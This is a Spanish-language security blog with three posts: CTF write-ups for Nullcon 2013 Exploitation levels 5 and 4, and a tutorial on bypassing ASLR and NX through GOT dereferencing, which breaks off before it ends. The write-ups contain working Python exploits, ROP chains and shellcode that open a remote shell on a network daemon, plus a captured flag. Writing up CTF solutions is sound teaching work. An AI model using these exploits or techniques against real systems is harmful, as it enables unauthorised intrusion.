miércoles, 10 de abril de 2013

Nullcon 2013 "Battle Underground" CTF - Exploitation 5

Tras resolver el nivel 4 de Exploitation propuesto en el Nullcon 2013 Battle Underground CTF, aún me quedaba pendiente el último nivel (Exploitation Question 5), que no pude resolver durante el CTF por falta de conocimiento y documentación sobre el tema.

Después me pase un tiempo buscando y probando cosas, pero al final lo deje como imposible. Hasta que hace ya unos días, me enteré (vía Twitter) que Eloi Sanfelix, de int3pids, había publicado una entrada sobre cómo resolver el nivel 4 de la VM Fusion de Exploit-Exercises. Tras echarlo un ojo pude ver que su entorno de explotación se parecía bastante al mío (ASLR/NX/PIE), así que me puse a estudiar su caso. Al rato me di cuenta de que la técnica que había usado para evadir PIC/PIE la podía aplicar de la misma forma, pudiendo hacer luego una explotación mucho más sencilla con ROP.

Así que bueno, como ha sido una gran experiencia para mi lograr resolver esta prueba (aunque haya sido fuera de tiempo), en esta entrada trataré de explicar cómo resolverla. Pero no antes de dar a las gracias al crack de Eloi, que si no llega a ser por él, jamás la hubiese resuelto ;-D.

Figura 1. Descripción de la prueba.

Al igual que la prueba anterior, consiste en explotar un daemon que corre en el puerto 6666 del host nullcon-e3.no-ip.org con el fin de obtener la key que da por solucionado el nivel. Para poder llevar a cabo la explotación, se nos proporciona el binario del daemon en cuestión.

Descarga: Exploitation 5
MD5: 02c029857ac8049f829a0f29c6d9df5b

Identificación del binario

$ file server5
server5: ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.15, BuildID[sha1]=584bb50ebb2e97e8ebb0fbaf03b69f86b11a8966, not stripped

Se trata de un objeto compartido en formato ELF para Linux, arquitectura i386, utiliza enlace dinámico y no se encuentra stripped, por lo que los símbolos que genera el compilador no han sido eliminados.

Protecciones

$ /tools/exploiting/checksec.sh --file server5
RELRO           STACK CANARY      NX            PIE                     FILE
Partial RELRO   No canary found   NX enabled    PIE enabled             server5

Aquí es donde nos encontramos el mayor de los problemas; el binario está compilado con PIC/PIE (Position-independent executables). Esto quiere decir que puede ser localizado en cualquier lugar de la memoria, y aun así ser ejecutado correctamente sin modificarse, independientemente de su dirección absoluta. De esta forma, y con el apoyo de ASLR, sus direcciones varían en cada ejecución, haciendo que sea más difícil la explotación con ROP.

Por lo tanto, las protecciones a evadir en esta explotación son: ASLR, NX y PIE.

Vulnerabilidad

//----- (00000AFE) --------------------------------------------------------
signed int __cdecl main()
{
[...]
      len = recv(socket_fd, &user, 0x270Fu, 0);
      if ( (signed int)len <= 0 )
      {
        perror("recv error:");
        exit(1);
      }
      printf("received %d bytes", len);
      *((_BYTE *)&user + len) = 0;
      check_user(&user, len);
[...]
}

int __cdecl check_user(const void *user, size_t len)
{
  int buff; // [sp+1Ch] [bp-1Ch]@1

  memset(&buff, 0, 0x14u);
  memcpy(&buff, user, len);
  return 0;
}

size_t __cdecl check_password(const char *passwd)
{
  return strlen(a1);
}

La vulnerabilidad se ve rápidamente tras un pequeño análisis. Cuando el programa solicita el login al cliente, recibe hasta un máximo de 0x270F bytes. Luego, cuando el login es recibido, se lo pasa a la función check_user(), la cual copia su contenido en otro buffer local sin comprobar su tamaño, dando lugar a un stack-based overflow.

$ nc 127.0.0.1 6666
Welcome to International Banking System Inc
Enter login: danigargu
Password: 12345

$ nc 127.0.0.1 6666
Welcome to International Banking System Inc
Enter login: Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab
$

Si verificamos con GDB cuándo se sobreescribe la dirección de retorno, vemos que lo hace a partir del offset 32 de la cadena enviada. Luego, si echamos un ojo a los registros, podemos ver que además de EBP y EIP, EBX también es alterado.

(gdb) i r ebx ebp eip
ebx            0x41386141 1094213953
ebp            0x62413961 0x62413961
eip            0x31624130 0x3162413

¿Por qué EBX?

Esto se debe a que los epílogos de función en los binarios compilados con PIE añaden un "pop ebx". De esta manera almacenan en el registro EBX la dirección de carga del binario más un desplazamiento, usándolo luego para el tema del código independiente de la posición.

    10ab: 5b                    pop    ebx
    10ac: 89 ec                 mov    esp,ebp
    10ae: 5d                    pop    ebp
    10af: c3                    ret   

¿Para qué nos puede servir la dirección de EBX?

Como mantiene la dirección de carga más un desplazamiento, si obtenemos esta dirección de alguna forma y la restamos el desplazamiento calculado, obtendremos la dirección de carga del binario de forma dinámica, pudiendo hacer luego llamadas a donde queramos.

Breakpoint 1, 0xf77fca7b in check_user ()
(gdb) i r ebx
ebx            0xf7772ff4 -143183884

(gdb) info proc stat
...
Start of text: 0xf7770000

(gdb) p /x $ebx-0xf7770000
$1 = 0x2ff4

(gdb) p /x $ebx-0x2ff4
$2 = 0xf7770000         ---> Comienzo sección .text

Por desgracia, al realizar la explotación pisamos esta dirección, así que tenemos que encontrar alguna forma de obtenerla. Como sabemos que comienza a sobrescribirse en el offset 24 (32 - 4*2), podemos lanzar algunas pruebas.

$ perl -e 'print "A" x 24 . "B"' | nc 127.0.0.1 6666
Welcome to International Banking System Inc
Enter login: 
$

$ perl -e 'print "A" x 24 . "\xf4"' | nc 127.0.0.1 6666
Welcome to International Banking System Inc
Enter login: Password:
$

$ perl -e 'print "A" x 24 . "\xf4\x2f"' | nc 127.0.0.1 6666
Welcome to International Banking System Inc
Enter login: Password: 
$

Si sobrescribimos la dirección con los bytes correctos, se nos solicita el password, en cambio, si lo hacemos con los incorrectos, solo se nos solicita el login. En base a esto podemos obtener el valor de EBX byte a byte usando fuerza bruta, aprovechando para ello parte del código de Eloi.

def find_ebx():
 ebx = ""
 s = get_connection(host, port)
 base_resp = send_user(s, "xXx")  # Response: 'Password: '
 print "[*] Base response: " + repr(base_resp)
 s.close()

 while len(ebx)<4:
  for i in xrange(0,256):

   # skip 0xac --> BAD BYTE!!
   if i == 172:
    continue

   try:
    s = get_connection(host, port)
    resp = send_user(s, padding + ebx + chr(i))
    s.close()

    if resp == base_resp:
     ebx = ebx + chr(i)
     print "[*] EBX value is 0x%s" % ebx[::-1].encode("hex")
     break
   except socket.error:
    #print "socket error"
    pass
  if i==255:
   print "[*] Could not discover ebx value. Exploit failed."
   sys.exit(-1)
 return ebx

Teniendo el valor de EBX, solo tenemos que restarle 0x2ff4 para calcular la base del binario.

ebx = find_ebx()
base = u(ebx)[0] - 0x2ff4

Con esto podemos comenzar a construir el payload ROP, pero como el binario no dispone de muchos gadgets, lo haremos directamente desde la libc.

Como necesitamos obtener la dirección base de la libc para el payload ROP, aprovechamos la entrada send de la PLT para enviarnos por el socket la dirección de la función almacenada en la primera entrada de la GOT (sigemptyset).

send_plt = p(base + 0x8c4)  # send PLT entry
got_base = p(base + 0x3000) # GOT start

# get address of sigemptyset from the libc
send = send_plt   # send()
send += "AAAA"    # RET
send += p(4)      # int sockfd
send += got_base  # const void *buf
send += p(4)      # size_t len
send += p(0)      # int flags

s = get_connection(host, port)
resp = send_user(s, padding + ebx + "AAAA" + send)
s.close()

Una vez recibida la dirección, la restamos el offset que ocupa en la libc, obteniendo así su dirección base.

$ objdump -T /lib/i386-linux-gnu/i686/cmov/libc.so.6 | egrep 'sigemptyset'
0002b390 g    DF .text 0000004c  GLIBC_2.0   sigemptyset
libc = u(resp[:4])[0] - 0x2b390

Teniendo esto, ya podemos generar un payload ROP execve("/bin/sh") con ROPGadget:

$ ROPgadget /lib/i386-linux-gnu/i686/cmov/libc.so.6

Después de hacer unos pequeños cambios, el payload queda así:

# Generated by ROPgadget 4.0
# execve("/bin//sh", ["/bin/sh", NULL], [NULL])

rop += p(libc + 0x00001a9e) # pop %edx ; ret
rop += p(libc + 0x0015f9a0) # @ .data
rop += p(libc + 0x00020aec) # pop %eax ; ret
rop += "/bin" # /bin
rop += p(libc + 0x00091e8e) # mov %eax,(%edx) ; pop %ebp ; ret
rop += "AAAA" # padding
rop += p(libc + 0x00001a9e) # pop %edx ; ret
rop += p(libc + 0x0015f9a4) # @ .data + 4
rop += p(libc + 0x00020aec) # pop %eax ; ret
rop += "/shA" # /shA
rop += p(libc + 0x00091e8e) # mov %eax,(%edx) ; pop %ebp ; ret
rop += "AAAA" # padding
rop += p(libc + 0x00001a9e) # pop %edx ; ret
rop += p(libc + 0x0015f9a7) # @ .data + 7
rop += p(libc + 0x0003c98e) # xor %eax,%eax ; ret
rop += p(libc + 0x00091e8e) # mov %eax,(%edx) ; pop %ebp ; ret
rop += "AAAA" # padding
rop += p(libc + 0x00078af4) # pop %ebx ; ret
rop += p(libc + 0x0015f9a0) # @ .data
rop += p(libc + 0x000e2c01) # pop %edx ; pop %ecx ; pop %ebx ; ret
rop += "AAAA" # padding
rop += p(libc + 0x0015f9a7) # @ .data + 7
rop += p(libc + 0x0015f9a0) # @ .data     ---> wrong padding!!
rop += p(libc + 0x00001a9e) # pop %edx ; ret
rop += p(libc + 0x0015f9a7) # @ .data + 7

# small change
rop += p(libc + 0x00020aec) # pop eax ; ret
rop += p(0xb)               # execve syscall
rop += p(libc + 0x0002a9d5) # int $0x80

Hay que tener en cuenta que para poder interactuar con la shell abierta, necesitamos hacer antes un duplicado del descriptor del socket del cliente (4) a los tres descriptores estándar (0-STDIN, 1-STDOUT, 2-STDERR). Para ello, aprovechamos que tenemos la dirección base de la libc para hacer un ret2libc con dup2.

# dup2(4,0)
rop = p(libc + 0x000c6c90)  # dup2
rop += p(libc + 0x0002c0f5) # pop esi ; pop edi ; ret --> clean args
rop += p(4)                 # int oldfd
rop += p(0)                 # int newfd
 
# dup2(4,1)
rop += p(libc + 0x000c6c90) # dup2
rop += p(libc + 0x0002c0f5) # pop esi ; pop edi ; ret --> clean args
rop += p(4)                 # int oldfd
rop += p(1)                 # int newfd
 
# dup2(4,2)
rop += p(libc + 0x000c6c90) # dup2
rop += p(libc + 0x0002c0f5) # pop esi ; pop edi ; ret --> clean args
rop += p(4)                 # int oldfd
rop += p(2)                 # int newfd

Teniendo la bomba armada, la lanzamos:

$ python exploit_nullcon2013_exploitation_5.py 
[*] Base response: 'Password: '
[*] EBX value is 0xf4
[*] EBX value is 0x8ff4
[*] EBX value is 0x7c8ff4
[*] EBX value is 0xf77c8ff4
[*] Binary base: 0xf77c6000
[*] PLT entry for 'send' @ 0xf77c68c4
[*] GOT start @ 0xf77c9000
[*] Discovered libc base: 0xf7621000
[*] Launching ROP exploit
[+] SUCESS! We have a shell

$ whoami
dani
$ 
Figura 2. Ejecución del exploit.

¡FUNCIONA! Tenemos una shell ;-D

Descargar exploit

Posiblemente este exploit no hubiese funcionado en la máquina real de la prueba debido al uso de una libc diferente a la nuestra, aunque seguramente la podríamos haber obtenido al explotar el nivel anterior. De todas formas, la idea queda bastante clara.

Y esto ha sido todo. Un saludo!

miércoles, 13 de marzo de 2013

Nullcon 2013 "Battle Underground" CTF - Exploitation 4

Hace ya unos días estuve "echando un ojo" junto con Javier Civantos (colega de w3b0n3s) a los niveles propuestos en el CTF Battle Underground de la Nullcon. En él había 5 categorias de 5 pruebas cada una, compuestas de: programación, criptografía, ingeniería inversa, explotación y otros tipos (miscellaneous). Cada prueba, según el nivel de dificultad, sumaba 100, 200, 300 o 400 puntos. Aunque no pudimos resolver muchas debido al nivel de dificultad y duración del CTF, una de las que más me entretuvo fue Exploitation 4, de 200 puntos.

En esta entrada trataré de exponer los pasos que llevé a cabo para resolverla.

Figura 1. Descripción de la prueba.

Como vemos en la imagen, la prueba consiste en explotar un daemon que corre en el puerto 6791 del host nullcon-e3.no-ip.org con el fin de obtener la key que da por solucionado el nivel. Para poder llevar a cabo la explotación, se nos proporciona el binario del daemon en cuestión.

Descarga: Exploitation 4
MD5: cd996acf35840d21a4062764511f10d2

Identificación del binario

Una vez descargado el binario, nos interesa obtener información de él, por lo que usamos el comando file.

$ file srv
srv: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.15, BuildID[sha1]=0xf76710059fef89b0cc25d5847ed47913aa9bd3ce, stripped

Como se observa, es un ejecutable en formato ELF para Linux, arquitectura i386, utiliza enlace dinámico y se encuentra "stripped", que quiere decir que los símbolos que genera el compilador (p.e, nombres de las funciones) han sido eliminados.

Una vez identificado el binario, es útil saber las protecciones implementa. Para ello usamos la herramienta checksec.

$ /tools/exploiting/checksec.sh --file srv
RELRO           STACK CANARY      NX            PIE                     FILE
Partial RELRO   No canary found   NX disabled   No PIE                  srv

Por suerte, el binario no implementa ninguna protección considerable, aunque no sabemos si la máquina donde está corriendo tiene ASLR activado.

Tras ejecutar el binario, se queda en el puerto 6791 a la espera de conexiones. Si realizamos una, nos manda ingresar una identificación para registrarnos con el sistema.

$ ncat 127.0.0.1 6791
Enter Identification to register with the system: Dani
First name not found

$ ncat 127.0.0.1 6791
Enter Identification to register with the system: Dani Gar
First name not found

Enviemos el contenido que enviemos, el servidor siempre nos devuelve "First name not found", por lo que nos toca hacer ingeniería inversa al binario para saber qué hace en realidad.

Después de pasar un rato haciendo un pequeño análisis con IDA, podemos ver que la función que procesa la cadena que enviamos hace algo como lo siguiente:

//----- (0804887C) --------------------------------------------------------
ssize_t __cdecl comprobarCadena(int fd, char *cadena)
{
  size_t v2; // eax@6
  char resto; // [sp+18h] [bp-140h]@1
  char nombre; // [sp+7Ch] [bp-DCh]@1
  char apellido; // [sp+E0h] [bp-78h]@1
  char *encontrado; // [sp+144h] [bp-14h]@1
  char *src; // [sp+148h] [bp-10h]@1
  void *msgEnviar; // [sp+14Ch] [bp-Ch]@2
  
  memset(&nombre, 0, 0x64u);
  memset(&apellido1, 0, 0x64u);
  memset(&apellido2, 0, 0x64u);
  
  src = cadena;
  
  // Busca en cadena la primera aparición de dos puntos (:)
  encontrado = strchr(cadena, 58);
  
  if ( encontrado )
  {
    // Coloca un nulo donde ha encontrado los dos puntos e incrementa
    *encontrado++ = 0;
 
    // Copia el nombre (hasta llegar al nulo), con un máximo de 0x63 bytes
    strncpy(&nombre, src, 0x63u);
 
    // Ahora src apunta al primer apellido
    src = encontrado;
 
    // Busca la siguiente aparición de dos puntos (segundo apellido)
    encontrado = strchr(encontrado, 58);
 
    // Si lo encuentra...
    if ( encontrado )
    {
 
      // Coloca un nulo donde ha encontrado los dos puntos e incrementa
      *encontrado++ = 0;
   
      // Copia el primer apellido
      strncpy(&apellido1, src, 0x63u);
   
      // Apunta src al segundo apellido
      src = encontrado;
   
      // Copia en apellido2 el resto (sin limites??)
      strcpy(&apellido2, encontrado);
   
      // Sustituye los bytes 0x0A (\n), 0x0D (\r), 0x20 (ESPACE) por nulos
      filtrarCaracteres(&nombre);
      filtrarCaracteres(&apellido1);
      filtrarCaracteres(&apellido2);
   
      msgEnviar = "Thank you ;)\n";
    }
    else
      msgEnviar = "Last name not found\n";
  }
  else
    msgEnviar = "First name not found\n";
 
  v2 = strlen((const char *)msgEnviar);
  return send(fd, msgEnviar, v2, 0);
}

Con esto las cosas quedan bastante más claras. Como se ve, la función que comprueba el mensaje que enviamos, requiere que la cadena a enviar esté dividida por dobles puntos (:). Una vez es recibida, la parte en 3 trozos (nombre, primer apellido y segundo apellido) y copia cada uno ellos en un buffer distinto con la función strncpy, a diferencia del tercer trozo, que es copiado con strcpy (sin limites). He aquí el stack overflow.

$ ncat 127.0.0.1 6791
Enter Identification to register with the system: NOMBRE:APELLIDO1:APELLIDO2
Thank you ;)

Enviando la identificación correctamente nos devuelve un "Thank you ;)". ¡¡A EXPLOTAR!!

$ echo A:B:$(/tools/exploiting/pattern_create.rb 150) | ncat 127.0.0.1 6791
Enter Identification to register with the system: 

Después de enviar la cadena de caracteres aleatorios generada con pattern_create, si echamos un ojo a los logs del sistema (/var/log/messages), podemos ver que se ha detectado una violación de segmento (segfault) en el proceso "srv" al no poder acceder a la dirección 0x65413165 (parte de nuestra cadena), por lo que hemos sobreescrito la dirección de retorno.

srv[10269]: segfault at 65413165 ip 0000000065413165 sp
$ /tools/exploiting/pattern_offset.rb 65413165
[*] Exact match at offset 124

Con pattern_offset vemos que comienza a sobreescribirse después del byte 124.

Ahora sólo nos quedaría enviar un shellcode y saltar hacia él, pero como no sabemos si el server tiene ASLR activado, vamos a tratar buscar con msfelfscan alguna instrucción de salto al registro ESP, de forma que podamos saltárnoslo utilizando una técnica ret2reg.

NOTA: Para no alargar demasiado la entrada, si queréis saber más sobre técnicas ret2reg podéis echar un ojo a la sección de Papers de la gran comunidad OverflowedMinds, en que la podéis encontrar unos excelentes documentos sobre bypass de ASLR por parte de vlan7.

$ /tools/exploits/msf4/msfelfscan -j esp srv 
[srv]
0x08048827 jmp esp

Perfecto, en la dirección 0x08048827 ha encontrado un "jmp esp". Ahora la idea es colocar el shellcode justo después de la dirección de retorno a escribir.

[ RELLENO - 124 bytes ] [ RET - JMP ESP ] [ SHELLCODE ]

Para comprobar que en el momento que la dirección de retorno es sobreescrita, ESP apunta a la continuación de los datos que hemos enviado, lanzamos lo siguiente mientras en otra ventana seguimos a los procesos secundarios de srv con GDB.

$ perl -e 'print "B:B:" . "A"x128 . "B"x100' | ncat 127.0.0.1 6791
Enter Identification to register with the system: 
$ gdb -q
(gdb) shell pgrep srv
5578
(gdb) attach 5578
Attaching to process 5578
Reading symbols from /home/dani/nullcon/exploitation_4/srv...(no debugging symbols found)...done.
Reading symbols from /lib/i386-linux-gnu/i686/cmov/libc.so.6...(no debugging symbols found)...done.
Loaded symbols for /lib/i386-linux-gnu/i686/cmov/libc.so.6
Reading symbols from /lib/ld-linux.so.2...(no debugging symbols found)...done.
Loaded symbols for /lib/ld-linux.so.2
0xf771e430 in __kernel_vsyscall ()
(gdb) set follow-fork-mode child 
(gdb) c
Continuing.
[New process 5735]

Program received signal SIGSEGV, Segmentation fault.
[Switching to process 5735]
0x41414141 in ?? ()

(gdb) i r esp
esp            0xffe73c00 0xffe73c00

(gdb) x/104xb $esp-8
0xffe73bf8: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xffe73c00: 0x42 0x42 0x42 0x42 0x42 0x42 0x42 0x42   --->  ESP
0xffe73c08: 0x42 0x42 0x42 0x42 0x42 0x42 0x42 0x42
0xffe73c10: 0x42 0x42 0x42 0x42 0x42 0x42 0x42 0x42
0xffe73c18: 0x42 0x42 0x42 0x42 0x42 0x42 0x42 0x42
0xffe73c20: 0x42 0x42 0x42 0x42 0x42 0x42 0x42 0x42
0xffe73c28: 0x42 0x42 0x42 0x42 0x42 0x42 0x42 0x42
0xffe73c30: 0x42 0x42 0x42 0x42 0x42 0x42 0x42 0x42
0xffe73c38: 0x42 0x42 0x42 0x42 0x42 0x42 0x42 0x42
0xffe73c40: 0x42 0x42 0x42 0x42 0x42 0x42 0x42 0x42
0xffe73c48: 0x42 0x42 0x42 0x42 0x42 0x42 0x42 0x42
0xffe73c50: 0x42 0x42 0x42 0x42 0x42 0x42 0x42 0x42
0xffe73c58: 0x42 0x42 0x42 0x42 0x42 0x42 0x42 0x42
(gdb) 

Como vemos, después de sobreescribirse la dirección de retorno, ESP apunta al resto de datos enviados, por lo que ahí alojaremos la shellcode para luego saltar hacia ella con el "jmp esp", y de esta forma evadir el ASLR.

Teniendo todos estos datos, sólo nos queda hacer un pequeño exploit.

NOTA: Debido a diversos problemas durante la explotación, me vi obligado a usar una shellcode que rehusara el socket del cliente, duplicando su descriptor (4) en STDIN (0), STDOUT (1) y STDERR (2) con un dup2, y luego ejecutara un execve("/bin/sh", 0, 0), pudiendo de esta forma interactuar con el shell abierto a través del socket.

Si os interesa saber más sobre el shellcode, podéis descargar el código en ensamblador desde aquí.

Descargar exploit

#!/usr/bin/python
#
# NullCon 2013 CTF - Battle Underground
# Exploitation 4 - 200 points (ASLR)
# danigargu @ w3b0n3s - http://danigargu.blogspot.com/
# Flag: 794fc8e2576887bedd36b20757a533a3
#

import os
import sys
import time
from socket import *
from struct import pack

p = lambda x : pack("<L" , x)

s = socket(AF_INET, SOCK_STREAM)
#s.connect(('127.0.0.1', 6791))
s.connect(('nullcon-e3.no-ip.org', 6791))
 
junk = "B:B:" + "A"*124

jmp_esp = p(0x08048827)  # jmp esp
fd = 4                   # socket client fd

payload = jmp_esp

# shellcode - socket reuse
# dup2(4,0) & dup2(4,1) & dup2(4,2) & execve("/bin/sh", 0, 0)
payload += ("\x31\xc9\x31\xdb\xb3" + chr(fd) + "\x6a\x3f\x58\xcd\x80"
            "\x41\x80\xf9\x03\x75\xf5\x6a\x0b\x58\x99\x52\x68\x2f\x2f"
            "\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80")

s.recv(255)
s.send(junk + payload)
time.sleep(0.5)

# interact with the shell
while True:
 try:
  sys.stdout.write("$ ")
  sys.stdout.flush()
  c = sys.stdin.readline()
  s.send(c)
  time.sleep(0.5)
  sys.stdout.write(s.recv(4095))
 except KeyboardInterrupt, e:
  break

Tras ejecutar el exploit vemos que podemos ejecutar comandos en la máquina de la prueba, descubriendo de esta forma el fichero key.txt que se encuentra en la raíz, con el que a partir de su contenido podemos dar por solucionada la prueba ;-D

dani@debian:~/nullcon$ python exploit.py 
$ pwd
/
$ ls
/bin//sh: 2: ls: not found
$ echo *
bin etc key.txt lib srv var
$ cat key.txt
794fc8e2576887bedd36b20757a533a3
$ 

FLAG: 794fc8e2576887bedd36b20757a533a3

Un saludo!

martes, 5 de febrero de 2013

GOT Dereferencing / Overwriting - ASLR/NX Bypass (Linux)

Después de la entrada anterior, en la que vimos cómo evadir ASLR y NX en la explotación de un Stack Overflow sobre un binario enlazado estáticamente, vamos a tratar de explotar otro. Esta vez lo haremos sobre un binario enlazado dinámicamente, sin instrucciones de ayuda en el código como teníamos en el anterior, ayudándonos de ROP para calcular la dirección de cualquier función de la libc a partir de la la GOT de una función usada en el programa. Las técnicas a tratar se denominan: GOT dereferencing y GOT overwriting, y se encuentran descritas en el paper "Surgically returning to randomized lib(c)".

Antes de meternos en vereda, vamos a ver algunas cosillas que son necesarias para entender el resto.

GOT (Global Offset Table) y PLT (Procedure Linkage Table)

Cuando un ejecutable es cargado en memoria, el linker transfiere a memoria todas bibliotecas solicitadas y realiza la reubicación. El ejecutable dispone de dos secciones que se utilizan con el unico propósito de vincular el ejecutable con las bibliotecas compartidas, que son: la Global Offset Table (GOT) y la Procedure Linkage Table (PLT). La primera es una matriz que contiene la dirección de todas las funciones de bibliotecas usadas en el programa. Esta última se corresponde con una matriz de salto hacia las direcciones de las funciones almacenadas en la GOT.

Figura 1. Llamada a la función de una biblioteca compartida.

Como se puede apreciar en Figura 1, el programa para invocar a la función strcpy de la libc, realiza la llamada en la instrucción 0x8048465, pero en lugar de hacerla de forma normal, pasa el control a la PLT (0x8048330). La PLT para llegar hasta el código de la función dentro de la libc, realiza un salto indirecto (jmp *0x8049724) pasando por la GOT (0x8049724), que es donde se encuentra la dirección absoluta de la función strcpy (0xf7ed2b70).

Esto no es del todo cierto, ya que la primera vez que es llamada una función, la GOT contiene de nuevo un puntero hacia la PLT, donde se llama al enlazador para encontrar la ubicación real de la función en cuestión (ver Figura 2). La segunda vez que la función es llamada, su entrada en la GOT ya contiene la ubicación real de la función.

Figura 2. Primera llamada a la función de una biblioteca compartida.

Restricciones de diseño de la GOT y la PLT

Ya que la GOT y la PLT se utilizan directamente desde cualquier parte del programa, necesitan disponer de una dirección estática conocida en la memoria. Además, la GOT necesita tener permisos de escritura, ya que cuando se resuelve la dirección de una función, es escrita en su correspondiente entrada de la GOT.

¿Y para qué se puede aprovechar todo esto?

Como las direcciones de la sección GOT son estáticas (no afectadas por ASLR), y se dispone de permisos de escritura, se puede aprovechar para sobreescribir la dirección de una función utilizada en el programa (p.e, strcpy), por otra con peores intenciones (p.e, system), de forma que cuando se invoque a la entrada PLT de la función sobreescrita, el flujo del programa vaya hacia la otra.

Resolver direcciones de la libc

Perfecto, si se consigue sobreescribir el contenido de la GOT de una función por la dirección de otra función de la libc, es posible realizar cualquier llamada (incluido a las funciones no exportadas). Pero vaya, no es tan fácil como pinta, ya que la libc es afectada por ASLR y sus direcciones varían en cada ejecución. Pero no del todo ;-)

Aunque sus direcciones cambien en cada ejecución, el enlazador siempre rellena la GOT con las direcciones actualizadas para que sean coherentes con la dirección base de la biblioteca, por lo que el offset entre dos funciones de la biblioteca es siempre constante. Es decir, que a partir de una dirección absoluta dada, obtenida de la GOT de cualquier función utilizada en el programa, es posible calcular la dirección de cualquier otra a partir de los offsets.

offset = system() - strcpy()
system() = strcpy() + offset

Para poder llevar a cabo esto, existen dos técnicas: GOT Dereferencing y GOT Overwriting, que sirven básicamente para re-calcular funciones de la libc a partir de la GOT de una función usada en el programa, empleando ROP.

  • GOT dereferencing: Consiste en combinar ROP gadgets para leer la dirección absoluta de cualquier función usada en el programa (p.e, strcpy) a partir su entrada en la GOT, utilizar dicha dirección para calcular la de otra función de la biblioteca (p.e, system), y realizar un salto hacia ella.
  • GOT overwriting: Es similar a la anterior, pero aquí en vez de leer la dirección de una función y calcular la de otra, se sobreescribe la entrada GOT de una de ellas (p.e, strcpy) con la dirección tiene más el offset de la función a usar (p.e, system). Por último, se invoca a la PLT de la función sobreescrita haciendo un ret2plt.

Dicho todo esto... ¡AL LÍO!

Programa vulnerable

Para hacer pruebas con estas técnicas quería algo muy básico por el tema de no abusar con los gadgets del binario, así que he escogido el nivel Stack 1 de la máquina virtual Protostar de Exploit-Exercises, que se trata de un simple Stack Overflow de libro en el que se demuestra cómo se establecen las variables en memoria, pero que para nuestro fin nos viene al pelo.

DESCARGAR
MD5: df2ce10a6ca6b19337c4f44b52789c7b

Protecciones

$ bash /tools/exploiting/checksec.sh --file stack1
RELRO           STACK CANARY      NX            PIE                     FILE
No RELRO        No canary found   NX enabled    No PIE                  stack1

# FULL ASLR
$ /sbin/sysctl kernel.randomize_va_space
kernel.randomize_va_space = 2

$ ldd stack1 | grep libc
 libc.so.6 => /lib/i386-linux-gnu/i686/cmov/libc.so.6 (0xf7589000)
$ ldd stack1 | grep libc
 libc.so.6 => /lib/i386-linux-gnu/i686/cmov/libc.so.6 (0xf7618000)

  • RELRO: GOT modificable.
  • NX: Stack no ejecutable.
  • ASLR: Activado.

Perfecto, ¡a darle caña!

# Generamos una cadena de caracteres aleatorios
$ /pentest/exploits/msf4/tools/pattern_create.rb 100
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A

# Pasamos la cadena de argumento
(gdb) r Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A
Starting program: /home/dani/stack1/stack1 Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A
Try again, you got 0x63413163

Program received signal SIGSEGV, Segmentation fault.
0x37634136 in ?? ()
(gdb) 

# Comprobamos dónde se sobreescribe la dirección de retorno
$ /pentest/exploits/msf4/tools/pattern_offset.rb 0x37634136
[*] Exact match at offset 80

Ahora que tenemos el control del flujo del programa, toca buscar ROP gadgets.

GOT dereferencing

Para llevar a cabo esta técnica se necesitan gadgets de varios tipos: de carga, de adición y transferencia de control indirecto.

ROPeMe> generate stack1 5
Generating gadgets for stack1 with backward depth=5
It may take few minutes depends on the depth and file size...
Processing code block 1/1
Generated 96 gadgets
Dumping asm gadgets to file: stack1.ggt ...
OK
ROPeMe> 

ROPeMe sólo nos ha encontrado 96 gadgets debido a que el binario es muy reducido (23,2 kB) y está enlazado de forma dinámica. De todas formas, vamos a intentar apañarnos.

ROPeMe> search pop ? pop %
Searching for ROP gadget:  pop ? pop % with constraints: []
...
0x8048432L: pop ebx ; pop ebp ;;
...
0x8048545L: pop ebx ; pop esi ; pop edi ; pop ebp ;;
...

ROPeMe> search xchg %
Searching for ROP gadget:  xchg % with constraints: []
0x804842bL: xchg edi eax ; add al 0x8 ; add [ebx+0x5d5b04c4] eax ;;
...

ROPeMe> search add eax %
Searching for ROP gadget:  add eax % with constraints: []
...
0x804856eL: add eax [ebx-0xb8a0008] ; add esp 0x4 ; pop ebx ; pop ebp ;;

ROPeMe> search call eax %
Searching for ROP gadget:  call eax % with constraints: []
0x804845fL: call eax ; leave ;;

Gadgets a utilizar

  1. 0x8048545L: pop ebx ; pop esi ; pop edi ; pop ebp ;;
  2. 0x804842bL: xchg edi eax ; add al 0x8 ; add [ebx+0x5d5b04c4] eax ;;
  3. 0x8048432L: pop ebx ; pop ebp ;;
  4. 0x804856eL: add eax [ebx-0xb8a0008] ; add esp 0x4 ; pop ebx ; pop ebp ;;
  5. 0x804845fL: call eax ; leave ;;

El gadget (1) lo usaremos para dar valor a los registros EBX y EDI que serán usados por el (2). Con el (2) haremos un intercambio de los valores de EAX y EDI, por lo que EAX obtendrá el valor de EDI (que controlamos). Luego, con el (2) sumaremos el valor de EAX al almacenado en [ebx+0x5d5b04c4]. Como también tenemos el control de EBX, utilizaremos este gadget para sumar el valor de EAX en donde queramos, previamente restando 0x5d5b04c4 a la dirección donde se va a escribir. Con el (3) restableceremos de nuevo el valor de EBX. Con el (4) leeremos un valor de [ebx-0xb8a0008] y se lo sumaremos a EAX. Y por ultimo, con el (5) realizaremos un salto a la dirección que apunta EAX.

¡Menudo jaleo!

